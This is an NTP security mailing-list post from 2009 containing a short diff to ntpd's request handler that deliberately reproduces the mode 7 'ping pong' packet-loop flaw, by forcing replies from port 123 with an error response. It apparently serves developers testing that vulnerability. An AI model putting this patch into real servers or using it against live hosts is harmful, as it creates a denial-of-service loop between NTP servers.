[ntp:security] reproducing mode 7 ping pong

Dave Hart davehart at gmail.com
Mon Oct 12 17:16:40 UTC 2009


diff -Nrpu a/ntpd/ntp_request.c b/ntpd/ntp_request.c
--- a/ntpd/ntp_request.c	2009-10-12 17:10:21 +00:00
+++ b/ntpd/ntp_request.c	2009-10-12 17:10:21 +00:00
@@ -2352,7 +2352,12 @@ req_set_trap(
 	struct req_pkt *inpkt
 	)
 {
+#if 1	// !!! trap trap
+	NSRCPORT(srcadr) = htons(123);
+	req_ack(srcadr, inter, inpkt, INFO_ERR_NODATA);
+#else
 	do_setclr_trap(srcadr, inter, inpkt, 1);
+#endif
 }


More information about the security mailing list